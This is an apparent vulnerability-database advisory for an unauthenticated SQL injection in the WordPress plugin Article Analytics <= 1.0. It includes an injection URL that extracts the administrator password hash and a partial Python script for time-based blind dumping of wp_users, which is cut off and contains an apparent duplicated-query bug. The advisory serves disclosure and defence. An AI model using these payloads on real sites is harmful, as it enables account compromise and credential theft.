Lucene search

K
wpvulndbNicolas SurribasWPVDB-ID:9A383EF5-0F1A-4894-8F78-845ABCB5062D
HistoryOct 27, 2023 - 12:00 a.m.

Article Analytics <= 1.0 - Unauthenticated SQL injection

2023-10-2700:00:00
Nicolas Surribas
wpscan.com
4
wordpress
sql injection
unauthenticated users
ajax action
vulnerability
plugin security

6.9 Medium

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

57.0%

Description The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection vulnerability.

PoC

On a Wordpress blog using MySQL the following PoC allows to extract the hash of the administrator : http://localhost:8000/?p=1 AND GTID_SUBSET(CONCAT(0x686173683a%2C(SELECT user_pass FROM `wordpress`.wp_users ORDER BY ID LIMIT 1%2C1))%2C4001) import sys from urllib.parse import quote, urlparse, urlunparse from time import time import requests from requests.exceptions import RequestException # Nicolas “devloop” Surribas - 2023 # Exploit for Wordpress plugin “Article Analytics” # Time-based blind SQL injection exploit # Tweak the following parameters # Time to wait in the DBMS when checking for a value. Increase if the target is lagging. Must be an int. TIME = 1 # Numbers of users to dump from the users database. For admin account, 1 should be enough. COUNT_USERS = 2 # Users table. Change if custom. USERS_TABLE = “wp_users” class ColumnDumper: def init(self, table_name, column_name, order_by): self._table = table_name self._column = column_name self._order_by = order_by def get_at_offset(self, offset): return f"SELECT IFNULL(CAST({self._column} AS NCHAR),0x20) FROM {self._table} ORDER BY {self._order_by} LIMIT {offset},1" def get_char_at(self, expression, offset): return f"ORD(MID(({expression}), {offset}, 1))" def test(self, expression, success, failure): return f"IF({expression}, {success}, {failure})" def sleep(self, expression): return f"(SELECT SLEEP({expression}))" def test_value(self, column_offset, char_offset, operator, value): return self.sleep( self.test( self.get_char_at(self.get_at_offset(column_offset), char_offset) + f" {operator} {value}“, TIME, 0 ) ) class Exploit: def init(self, url): self._sess = requests.session() parts = urlparse(url) # Get rid of parameters to have a clean version with empty “p” parameter self._url = urlunparse((parts.scheme, parts.netloc, parts.path, “”, “p=”, “”)) def run(self, column_name): “”“Dump columns using cheap dichotomy””" self._cd = ColumnDumper(USERS_TABLE, column_name, “ID”) for column_idx in range(COUNT_USERS): content = “” done = False for char_offset in range(1, 128): candidates = self.get_test_range(column_idx, char_offset) for c in candidates: if self.test_char(column_idx, char_offset, c): if c == 0: done = True break content += chr© print(f"In progress: {content}“) break else: break if done: break print(f"Found {content}”) def perform_test(self, expression): “”“Fetch the URL, check the time for response”“” start = time() # Uncomment that line to see the requests # print(self._url + expression) url = self._url + quote(expression) self._sess.get(url + quote(expression))

6.9 Medium

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

57.0%

Related for WPVDB-ID:9A383EF5-0F1A-4894-8F78-845ABCB5062D